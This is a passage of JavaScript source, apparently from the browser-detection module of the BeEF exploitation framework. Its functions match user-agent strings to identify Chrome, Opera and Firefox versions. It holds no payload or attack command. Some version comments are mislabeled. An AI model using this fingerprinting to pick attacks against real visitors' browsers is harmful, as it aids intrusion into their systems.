: false); }, /** * Returns true if Chrome 85. * @example: beef.browser.isC85() */ isC85: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 85) ? true : false); }, /** * Returns true if Chrome for iOS 85. * @example: beef.browser.isC85iOS() */ isC85iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 85) ? true : false); }, /** * Returns true if Chrome 86. * @example: beef.browser.isC86() */ isC86: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 86) ? true : false); }, /** * Returns true if Chrome for iOS 86. * @example: beef.browser.isC86iOS() */ isC86iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 86) ? true : false); }, /** * Returns true if Chrome 87. * @example: beef.browser.isC87() */ isC87: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 87) ? true : false); }, /** * Returns true if Chrome for iOS 87. * @example: beef.browser.isC87iOS() */ isC87iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 87) ? true : false); }, /** * Returns true if Chrome 88. * @example: beef.browser.isC88() */ isC88: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 88) ? true : false); }, /** * Returns true if Chrome for iOS 88. * @example: beef.browser.isC88iOS() */ isC88iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 88) ? true : false); }, /** * Returns true if Chrome 89. * @example: beef.browser.isC89() */ isC89: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 89) ? true : false); }, /** * Returns true if Chrome for iOS 89. * @example: beef.browser.isC89iOS() */ isC89iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 89) ? true : false); }, /** * Returns true if Chrome 90. * @example: beef.browser.isC90() */ isC90: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 90) ? true : false); }, /** * Returns true if Chrome for iOS 90. * @example: beef.browser.isC90iOS() */ isC90iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 90) ? true : false); }, /** * Returns true if Chrome 91. * @example: beef.browser.isC91() */ isC91: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 91) ? true : false); }, /** * Returns true if Chrome for iOS 91. * @example: beef.browser.isC91iOS() */ isC91iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 91) ? true : false); }, /** * Returns true if Chrome 92. * @example: beef.browser.isC92() */ isC92: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 92) ? true : false); }, /** * Returns true if Chrome for iOS 92. * @example: beef.browser.isC92iOS() */ isC92iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 92) ? true : false); }, /** * Returns true if Chrome 93. * @example: beef.browser.isC93() */ isC93: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 93) ? true : false); }, /** * Returns true if Chrome for iOS 93. * @example: beef.browser.isC93iOS() */ isC93iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 93) ? true : false); }, /** * Returns true if Chrome 94. * @example: beef.browser.isC94() */ isC94: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 94) ? true : false); }, /** * Returns true if Chrome for iOS 94. * @example: beef.browser.isC94iOS() */ isC94iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 94) ? true : false); }, /** * Returns true if Chrome 95. * @example: beef.browser.isC95() */ isC95: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 95) ? true : false); }, /** * Returns true if Chrome for iOS 95. * @example: beef.browser.isC95iOS() */ isC95iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 95) ? true : false); }, /** * Returns true if Chrome 96. * @example: beef.browser.isC96() */ isC96: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 96) ? true : false); }, /** * Returns true if Chrome for iOS 96. * @example: beef.browser.isC96iOS() */ isC96iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 96) ? true : false); }, /** * Returns true if Chrome 97. * @example: beef.browser.isC97() */ isC97: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 97) ? true : false); }, /** * Returns true if Chrome for iOS 97. * @example: beef.browser.isC97iOS() */ isC97iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 97) ? true : false); }, /** * Returns true if Chrome 98. * @example: beef.browser.isC98() */ isC98: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 98) ? true : false); }, /** * Returns true if Chrome for iOS 98. * @example: beef.browser.isC98iOS() */ isC98iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 98) ? true : false); }, /** * Returns true if Chrome 99. * @example: beef.browser.isC99() */ isC99: function () { return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 99) ? true : false); }, /** * Returns true if Chrome for iOS 99. * @example: beef.browser.isC99iOS() */ isC99iOS: function () { return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false); }, /** * Returns true for modern versions of Chrome (above 9). * @example: beef.browser.isCbowser() */ isCbowser: function () { const parser = bowser.getParser(navigator.userAgent); const browserName = parser.getBrowserName(); return browserName == 'Chrome'; }, /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function () { var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS(); return legacyCheck || this.isCbowser(); }, /** * Returns true if Opera 9.50 through 9.52. * @example: beef.browser.isO9_52() */ isO9_52: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null)); }, /** * Returns true if Opera 9.60 through 9.64. * @example: beef.browser.isO9_60() */ isO9_60: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null)); }, /** * Returns true if Opera 10.xx. * @example: beef.browser.isO10() */ isO10: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null)); }, /** * Returns true if Opera 11.xx. * @example: beef.browser.isO11() */ isO11: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null)); }, /** * Returns true if Opera 12.xx. * @example: beef.browser.isO12() */ isO12: function () { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null)); }, /** * Returns true if the browser is any version of Opera. * @example: beef.browser.isObowser() */ isObowser: function () { const parser = bowser.getParser(navigator.userAgent); const browserName = parser.getBrowserName(); return browserName == 'Opera'; }, /** * Returns true if Opera. * @example: beef.browser.isO() */ isO: function () { var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12(); return legacyCheck || this.isObowser(); }, /** * Returns the type of browser being used. * @example: beef.browser.type().IE6 * @example: beef.browser.type().FF * @example: beef.browser.type().O */ type: function () { return { E: this.isEdge(), // Edge any version C5: this.isC5(), // Chrome 5 C6: this.isC6(), // Chrome 6 C7: this.isC7(), // Chrome 7 C8: this.isC8(), // Chrome 8 C9: this.isC9(), // Chrome 9 C10: this.isC10(), // Chrome 10 C11: this.isC11(), // Chrome 11 C12: this.isC12(), // Chrome 12 C13: this.isC13(), // Chrome 13 C14: this.isC14(), // Chrome 14 C15: this.isC15(), // Chrome 15 C16: this.isC16(), // Chrome 16 C17: this.isC17(), // Chrome 17 C18: this.isC18(), // Chrome 18 C19: this.isC19(), // Chrome 19 C19iOS: this.isC19iOS(), // Chrome 19 on iOS C20: this.isC20(), // Chrome 20 C20iOS: this.isC20iOS(), // Chrome 20 on iOS C21: this.isC21(), // Chrome 21 C21iOS: this.isC21iOS(), // Chrome 21 on iOS C22: this.isC22(), // Chrome 22 C22iOS: this.isC22iOS(), // Chrome 22 on iOS C23: this.isC23(), // Chrome 23 C23iOS: this.isC23iOS(), // Chrome 23 on iOS C24: this.isC24(), // Chrome 24 C24iOS: this.isC24iOS(), // Chrome 24 on iOS C25: this.isC25(), // Chrome 25 C25iOS: this.isC25iOS(), // Chrome 25 on iOS C26: this.isC26(), // Chrome 26 C26iOS: this.isC26iOS(), // Chrome 26 on iOS C27: this.isC27(), // Chrome 27 C27iOS: this.isC27iOS(), // Chrome 27 on iOS C28: this.isC28(), // Chrome 28 C28iOS: this.isC28iOS(), // Chrome 28 on iOS C29: this.isC29(), // Chrome 29 C29iOS: this.isC29iOS(), // Chrome 29 on iOS C30: this.isC30(), // Chrome 30 C30iOS: this.isC30iOS(), // Chrome 30 on iOS C31: this.isC31(), // Chrome 31 C31iOS: this.isC31iOS(), // Chrome 31 on iOS C32: this.isC32(), // Chrome 32 C32iOS: this.isC32iOS(), // Chrome 32 on iOS C33: this.isC33(), // Chrome 33 C33iOS: this.isC33iOS(), // Chrome 33 on iOS C34: this.isC34(), // Chrome 34 C34iOS: this.isC34iOS(), // Chrome 34 on iOS C35: this.isC35(), // Chrome 35 C35iOS: this.isC35iOS(), // Chrome 35 on iOS C36: this.isC36(), // Chrome 36 C36iOS: this.isC36iOS(), // Chrome 36 on iOS C37: this.isC37(), // Chrome 37 C37iOS: this.isC37iOS(), // Chrome 37 on iOS C38: this.isC38(), // Chrome 38 C38iOS: this.isC38iOS(), // Chrome 38 on iOS C39: this.isC39(), // Chrome 39 C39iOS: this.isC39iOS(), // Chrome 39 on iOS C40: this.isC40(), // Chrome 40 C40iOS: this.isC40iOS(), // Chrome 40 on iOS C41: this.isC41(), // Chrome 41 C41iOS: this.isC41iOS(), // Chrome 41 on iOS C42: this.isC42(), // Chrome 42 C42iOS: this.isC42iOS(), // Chrome 42 on iOS C43: this.isC43(), // Chrome 43 C43iOS: this.isC43iOS(), // Chrome 43 on iOS C44: this.isC44(), // Chrome 44 C44iOS: this.isC44iOS(), // Chrome 44 on iOS C45: this.isC45(), // Chrome 45 C45iOS: this.isC45iOS(), // Chrome 45 on iOS C46: this.isC46(), // Chrome 46 C46iOS: this.isC46iOS(), // Chrome 46 on iOS C47: this.isC47(), // Chrome 47 C47iOS: this.isC47iOS(), // Chrome 47 on iOS C48: this.isC48(), // Chrome 48 C48iOS: this.isC48iOS(), // Chrome 48 on iOS C49: this.isC49(), // Chrome 49 C49iOS: this.isC49iOS(), // Chrome 49 on iOS C50: this.isC50(), // Chrome 50 C50iOS: this.isC50iOS(), // Chrome 50 on iOS C51: this.isC51(), // Chrome 51 C51iOS: this.isC51iOS(), // Chrome 51 on iOS C52: this.isC52(), // Chrome 52 C52iOS: this.isC52iOS(), // Chrome 52 on iOS C53: this.isC53(), // Chrome 53 C53iOS: this.isC53iOS(), // Chrome 53 on iOS C54: this.isC54(), // Chrome 54 C54iOS: this.isC54iOS(), // Chrome 54 on iOS C55: this.isC55(), // Chrome 55 C55iOS: this.isC55iOS(), // Chrome 55 on iOS C56: this.isC56(), // Chrome 56 C56iOS: this.isC56iOS(), // Chrome 56 on iOS C57: this.isC57(), // Chrome 57 C57iOS: this.isC57iOS(), // Chrome 57 on iOS C58: this.isC58(), // Chrome 58 C58iOS: this.isC58iOS(), // Chrome 58 on iOS C63iOS: this.isC63iOS(), C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 FF3: this.isFF3(), // Firefox 3 FF3_5: this.isFF3_5(), // Firefox 3.5 FF3_6: this.isFF3_6(), // Firefox 3.6 FF4: this.isFF4(), // Firefox 4 FF5: this.isFF5(), // Firefox 5 FF6: this.isFF6(), // Firefox 6 FF7: this.isFF7(), // Firefox 7 FF8: this.isFF8(), // Firefox 8 FF9: this.isFF9(), // Firefox 9 FF10: this.isFF10(), // Firefox 10 FF11: this.isFF11(), // Firefox 11 FF12: this.isFF12(), // Firefox 12 FF13: this.isFF13(), // Firefox 13 FF14: this.isFF14(), // Firefox 14 FF15: this.isFF15(), // Firefox 15 FF16: this.isFF16(), // Firefox 16 FF17: this.isFF17(), // Firefox 17 FF18: this.isFF18(), // Firefox 18 FF19: this.isFF19(), // Firefox 19 FF20: this.isFF20(), // Firefox 20 FF21: this.isFF21(), // Firefox 21 FF22: this.isFF22(), // Firefox 22 FF23: this.isFF23(), // Firefox 23 FF24: this.isFF24(), // Firefox 24 FF25: this.isFF25(), // Firefox 25 FF26: this.isFF26(), // Firefox 26 FF27: this.isFF27(), // Firefox 27 FF28: this.isFF28(), // Firefox 28 FF29: this.isFF29(), // Firefox 29 FF30: this.isFF30(), // Firefox 30 FF31: this.isFF31(), // Firefox 31 FF32: this.isFF32(), // Firefox 32 FF33: this.isFF33(), // Firefox 33 FF34: this.isFF34(), // Firefox 34 FF35: this.isFF35(), // Firefox 35 FF36: this.isFF36(), // Firefox 36 FF37: this.isFF37(), // Firefox 37 FF38: this.isFF38(), // Firefox 38 FF39: this.isFF39(), // Firefox 39 FF40: this.isFF40(), // Firefox 40 FF41: this.isFF41(), // Firefox 41 FF42: this.isFF42(), // Firefox 42 FF43: this.isFF43(), // Firefox 43 FF44: this.isFF44(), // Firefox 44 FF45: this.isFF45(), // Firefox 45 FF46: this.isFF46(), // Firefox 46 FF47: this.isFF47(), // Firefox 47 FF48: this.isFF48(), // Firefox 48 FF49: this.isFF49(), // Firefox 49 FF50: this.isFF50(), // Firefox 50 FF51: this.isFF51(), // Firefox 51 FF52: this.isFF52(), // Firefox 52 FF53: this.isFF53(), // Firefox 53 FF54: this.isFF54(), // Firefox 54 FF55: this.isFF55(), // Firefox 55 FF56: this.isFF56(), // Firefox 56 FF57: this.isFF57(), // Firefox 57 FF58: this.isFF58(), // Firefox 58 FF59: this.isFF59(), // Firefox 59 FF60: this.isFF60(), // Firefox 60 FF61: this.isFF61(), // Firefox 61 FF62: this.isFF62(), // Firefox 62 FF63: this.isFF63(), // Firefox 63 FF64: this.isFF64(), // Firefox 64 FF65: this.isFF65(), // Firefox 65 FF66: this.isFF66(), // Firefox 66 FF67: this.isFF67(), // Firefox 67 FF68: this.isFF68(), // Firefox 68 FF69: this.isFF69(), // Firefox 69 FF70: this.isFF70(), // Firefox 70 FF71: this.isFF71(), // Firefox 71 FF72: this.isFF72(), // Firefox 72 FF73: this.isFF73(), // Firefox 73 FF74: this.isFF74(), // Firefox 74 FF75: this.isFF75(), // Firefox 75 FF76: this.isFF76(), // Firefox 76 FF77: this.isFF77(), // Firefox 77 FF78: this.isFF78(), // Firefox 78 FF79: this.isFF79(), // Firefox 79 FF80: this.isFF80(), // Firefox 70 FF81: this.isFF81(), // Firefox 81 FF82: this.isFF82(), // Firefox 82 FF83: this.isFF83(), // Firefox 83 FF84: this.isFF84(), // Firefox 85 FF85: this.isFF85(), // Firefox 85 FF86: this.isFF86(), // Firefox 85 FF87: this.isFF87(), // Firefox 87 FF88: this.isFF88(), // Firefox 85 FF89: this.isFF89(), // Firefox 85 FF90: this.isFF90(), // Firefox 80 FF91: this.isFF91(), // Firefox 95 FF92: this.isFF92(), // Firefox 92 FF93: this.isFF93(), // Firefox 95 FF94: this.isFF94(), // Firefox 94 FF95: this.isFF95(), // Firefox 95 FF96: this.isFF96(), // Firefox 96 FF97: this.isFF97(), // Firefox 97 FF98: this.isFF98(), // Firefox 98 FF99: this.isFF99(), // Firefox 99 FF: this.isFF(), // Firefox any version IE6: this.isIE6(), // Internet Explorer 6 IE7: this.isIE7(), // Internet Explorer 7 IE8: this.isIE8(), // Internet Explorer 8 IE9: this.isIE9(), // Internet Explorer 9 IE10: this.isIE10(), // Internet Explorer 10 IE11: this.isIE11(), // Internet Explorer 11 IE: this.isIE(), // Internet Explorer any version O9_52: this.isO9_52(), // Opera 9.50 through 9.52 O9_60: this.isO9_60(), // Opera 9.60 through 9.64 O10: this.isO10(), // Opera 10.xx O11: this.isO11(), // Opera 11.xx O12: this.isO12(), // Opera 12.xx O: this.isO(), // Opera any version EP: this.isEpi(), // Epiphany any version S4: this.isS4(), // Safari 4.xx S5: this.isS5(), // Safari 5.xx S6: this.isS6(), // Safari 6.x S7: this.isS7(), // Safari 7.x S8: this.isS8(), // Safari 8.x S: this.isS() // Safari any version } }, /** * Returns the major version of the browser being used. * @return: {String} version number || 'UNKNOWN'. * * @example: beef.browser.getBrowserVersion() */ getBrowserVersion: function () { if (this.isEdge()) { try { return platform.version; } catch(e) { return 'unknown'; } } ; // Microsoft Edge if (this.isC5()) { return '5' } ; // Chrome 5 if (this.isC6()) { return '6' } ; // Chrome 6 if (this.isC7()) { return '7' } ; // Chrome 7 if (this.isC8()) { return '8' } ; // Chrome 8 if (this.isC9()) { return '9' } ; // Chrome 9 if (this.isC10()) { return '10' } ; // Chrome 10 if (this.isC11()) { return '11' } ; // Chrome 11 if (this.isC12()) { return '12' } ; // Chrome 12 if (this.isC13()) { return '13' } ; // Chrome 13 if (this.isC14()) { return '14' } ; // Chrome 14 if (this.isC15()) { return '15' } ; // Chrome 15 if (this.isC16()) { return '16' } ; // Chrome 16 if (this.isC17()) { return '17' } ; // Chrome 17 if (this.isC18()) { return '18' } ; // Chrome 18 if (this.isC19()) { return '19' } ; // Chrome 19 if (this.isC19iOS()) { return '19' } ; // Chrome 19 for iOS if (this.isC20()) { return '20' } ; // Chrome 20 if (this.isC20iOS()) { return '20' } ; // Chrome 20 for iOS if (this.isC21()) { return '21' } ; // Chrome 21 if (this.isC21iOS()) { return '21' } ; // Chrome 21 for iOS if (this.isC22()) { return '22' } ; // Chrome 22 if (this.isC22iOS()) { return '22' } ; // Chrome 22 for iOS if (this.isC23()) { return '23' } ; // Chrome 23 if (this.isC23iOS()) { return '23' } ; // Chrome 23 for iOS if (this.isC24()) { return '24' } ; // Chrome 24 if (this.isC24iOS()) { return '24' } ; // Chrome 24 for iOS if (this.isC25()) { return '25' } ; // Chrome 25 if (this.isC25iOS()) { return '25' } ; // Chrome 25 for iOS if (this.isC26()) { return '26' } ; // Chrome 26 if (this.isC26iOS()) { return '26' } ; // Chrome 26 for iOS if (this.isC27()) { return '27' } ; // Chrome 27 if (this.isC27iOS()) { return '27' } ; // Chrome 27 for iOS if (this.isC28()) { return '28' } ; // Chrome 28 if (this.isC28iOS()) { return '28' } ; // Chrome 28 for iOS if (this.isC29()) { return '29' } ; // Chrome 29 if (this.isC29iOS()) { return '29' } ; // Chrome 29 for iOS if (this.isC30()) { return '30' } ; // Chrome 30 if (this.isC30iOS()) { return '30' } ; // Chrome 30 for iOS if (this.isC31()) { return '31' } ; // Chrome 31 if (this.isC31iOS()) { return '31' } ; // Chrome 31 for iOS if (this.isC32()) { return '32' } ; // Chrome 32 if (this.isC32iOS()) { return '32' } ; // Chrome 32 for iOS if (this.isC33()) { return '33' } ; // Chrome 33 if (this.isC33iOS()) { return '33' } ; // Chrome 33 for iOS if (this.isC34()) { return '34' } ; // Chrome 34 if (this.isC34iOS()) { return '34' } ; // Chrome 34 for iOS if (this.isC35()) { return '35' } ; // Chrome 35 if (this.isC35iOS()) { return '35' } ; // Chrome 35 for iOS if (this.isC36()) { return '36' } ; // Chrome 36 if (this.isC36iOS()) { return '36' } ; // Chrome 36 for iOS if (this.isC37()) { return '37' } ; // Chrome 37 if (this.isC37iOS()) { return '37' } ; // Chrome 37 for iOS if (this.isC38()) { return '38' } ; // Chrome 38 if (this.isC38iOS()) { return '38' } ; // Chrome 38 for iOS if (this.isC39()) { return '39' } ; // Chrome 39 if (this.isC39iOS()) { return '39' } ; // Chrome 39 for iOS if (this.isC40()) { return '40' } ; // Chrome 40 if (this.isC40iOS()) { return '40' } ; // Chrome 40 for iOS if (this.isC41()) { return '41' } ; // Chrome 41 if (this.isC41iOS()) { return '41' } ; // Chrome 41 for iOS if (this.isC42()) { return '42' } ; // Chrome 42 if (this.isC42iOS()) { return '42' } ; // Chrome 42 for iOS if (this.isC43()) { return '43' } ; // Chrome 43 if (this.isC43iOS()) { return '43' } ; // Chrome 43 for iOS if (this.isC44()) { return '44' } ; // Chrome 44 if (this.isC44iOS()) { return '44' } ; // Chrome 44 for iOS if (this.isC45()) { return '45' } ; // Chrome 45 if (this.isC45iOS()) { return '45' } ; // Chrome 45 for iOS if (this.isC46()) { return '46' } ;// Chrome 46 if (this.isC46iOS()) { return '46' } ; // Chrome 46 for iOS if (this.isC47()) { return '47' } ;// Chrome 47 if (this.isC47iOS()) { return '47' } ; // Chrome 47 for iOS if (this.isC48()) { return '48' } ;// Chrome 48 if (this.isC48iOS()) { return '48' } ; // Chrome 48 for iOS if (this.isC49()) { return '49' } ;// Chrome 49 if (this.isC49iOS()) { return '49' } ; // Chrome 49 for iOS if (this.isC50()) { return '50' } ;// Chrome 50 if (this.isC50iOS()) { return '50' } ; // Chrome 50 for iOS if (this.isC51()) { return '51' } ;// Chrome 51 if (this.isC51iOS()) { return '51' } ; // Chrome 51 for iOS if (this.isC52()) { return '52' } ;// Chrome 52 if (this.isC52iOS()) { return '52' } ; // Chrome 52 for iOS if (this.isC53()) { return '53' } ;// Chrome 53 if (this.isC53iOS()) { return '53' } ; // Chrome 53 for iOS if (this.isC54()) { return '54' } ;// Chrome 54 if (this.isC54iOS()) { return '54' } ; // Chrome 54 for iOS if (this.isC55()) { return '55' } ;// Chrome 55 if (this.isC55iOS()) { return '55' } ; // Chrome 55 for iOS if (this.isC56()) { return '56' } ;// Chrome 56 if (this.isC56iOS()) { return '56' } ; // Chrome 56 for iOS if (this.isC57()) { return '57' } ;// Chrome 57 if (this.isC57iOS()) { return '57' } ; // Chrome 57 for iOS if (this.isC58()) { return '58' } ;// Chrome 58 if (this.isC58iOS()) { return '58' } ; // Chrome 58 for iOS if (this.isFF2()) { return '2' } ; // Firefox 2 if (this.isFF3()) { return '3' } ; // Firefox 3 if (this.isFF3_5()) { return '3.5' } ; // Firefox 3.5 if (this.isFF3_6()) { return '3.6' } ; // Firefox 3.6 if (this.isFF4()) { return '4' } ; // Firefox 4 if (this.isFF5()) { return '5' } ; // Firefox 5 if (this.isFF6()) { return '6' } ; // Firefox 6 if (this.isFF7()) { return '7' } ; // Firefox 7 if (this.isFF8()) { return '8' } ; // Firefox 8 if (this.isFF9()) { return '9' } ; // Firefox 9 if (this.isFF10()) { return '10' } ; // Firefox 10 if (this.isFF11()) { return '11' } ; // Firefox 11 if (this.isFF12()) { return '12' } ; // Firefox 12 if (this.isFF13()) { return '13' } ; // Firefox 13 if (this.isFF14()) { return '14' } ; // Firefox 14 if (this.isFF15()) { return '15' } ; // Firefox 15 if (this.isFF16()) { return '16' } ; // Firefox 16 if (this.isFF17()) { return '17' } ; // Firefox 17 if (this.isFF18()) { return '18' } ; // Firefox 18 if (this.isFF19()) { return '19' } ; // Firefox 19 if (this.isFF20()) { return '20' } ; // Firefox 20 if (this.isFF21()) { return '21' } ; // Firefox 21 if (this.isFF22()) { return '22' } ; // Firefox 22 if (this.isFF23()) { return '23' } ; // Firefox 23 if (this.isFF24()) { return '24' } ; // Firefox 24 if (this.isFF25()) { return '25' } ; // Firefox 25 if (this.isFF26()) { return '26' } ; // Firefox 26 if (this.isFF27()) { return '27' } ; // Firefox 27 if (this.isFF28()) { return '28' } ; // Firefox 28 if (this.isFF29()) { return '29' } ; // Firefox 29 if (this.isFF30()) { return '30' } ; // Firefox 30 if (this.isFF31()) { return '31' } ; // Firefox 